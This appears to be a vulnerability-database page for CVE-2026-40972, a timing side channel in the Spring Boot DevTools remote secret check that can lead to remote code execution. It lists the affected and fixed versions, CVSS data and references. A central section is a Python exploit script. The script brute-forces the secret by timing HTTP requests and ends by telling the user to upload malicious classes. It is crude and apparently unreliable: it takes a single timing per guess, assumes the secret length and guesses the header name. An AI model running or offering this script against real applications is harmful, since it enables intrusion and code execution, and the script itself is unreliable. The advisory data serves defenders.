CVE-2026-40972

Description

An attacker on the same network as the remote application may be able to utilize a timing attack to discover information about the remote secret. In extreme circumstances this could result in the attacker determining the secret and uploading changed classes, thereby achieving remote code execution in the remote application. Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); DevTools remote secret comparison. Versions that are no longer supported are also affected per vendor advisory.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:* - VULNERABLE

Spring Boot < 4.0.6

Spring Boot < 3.5.14

Spring Boot < 3.4.16

Spring Boot < 3.3.19

Spring Boot < 2.7.33

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import time
import string

# Target configuration
target_url = "http://vulnerable-app:8080"
# Base HTTP headers used by DevTools
headers = {
    "User-Agent": "Mozilla/5.0"
}

# Charset for the secret
charset = string.ascii_letters + string.digits + "_"
extracted_secret = ""

print("[+] Starting Timing Attack for CVE-2026-40972")

# Assume secret length is 32 (adjust based on observations)
for i in range(32):
    timings = {}
    
    for char in charset:
        # Construct the guess
        guess = extracted_secret + char
        # Send request with the guessed secret in the header
        # Note: The actual header name depends on Spring Boot DevTools configuration
        test_headers = headers.copy()
        test_headers["X-DevTools-Secret"] = guess
        
        start_time = time.time()
        try:
            requests.get(target_url, headers=test_headers, timeout=2)
        except Exception as e:
            # Ignore connection errors for timing analysis focus
            pass
        end_time = time.time()
        
        elapsed = end_time - start_time
        timings[char] = elapsed
    
    # Find the character that took the longest (most likely correct)
    likely_char = max(timings, key=timings.get)
    extracted_secret += likely_char
    print(f"[+] Progress: {extracted_secret}")

print(f"[+] Extracted Secret: {extracted_secret}")
print("[!] Use the extracted secret to upload malicious classes.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40972
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40972
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40972/
[4] VulDB https://vuldb.com/cve/CVE-2026-40972
[5] https://spring.io/security/cve-2026-40972

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40972", "sourceIdentifier": "[email protected]", "published": "2026-04-28T00:16:24.210", "lastModified": "2026-04-30T14:26:30.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker on the same network as the remote application may be able to utilize a timing attack to discover information about the remote secret. In extreme circumstances this could result in the attacker determining the secret and uploading changed classes, thereby achieving remote code execution in the remote application.\n\nAffected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); DevTools remote secret comparison. Versions that are no longer supported are also affected per vendor advisory."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-208"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.33", "matchCriteriaId": "5B1C9BD7-7555-4B3D-AED9-60C3C13DCF46"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.0", "versionEndExcluding": "3.3.19", "matchCriteriaId": "28EE6470-24FD-49D1-A2F0-7A19B290A161"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4.0", "versionEndExcluding": "3.4.16", "matchCriteriaId": "758A9E8F-0C52-43D9-8D84-69622B345A4E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.5.0", "versionEndExcluding": "3.5.14", "matchCriteriaId": "D23096A1-8269-46C5-9215-9098E87D0A24"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.0.6", "matchCriteriaId": "12A166C5-8B55-4BA3-AA8B-6024A257D441"}]}]}], "references": [{"url": "https://spring.io/security/cve-2026-40972", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}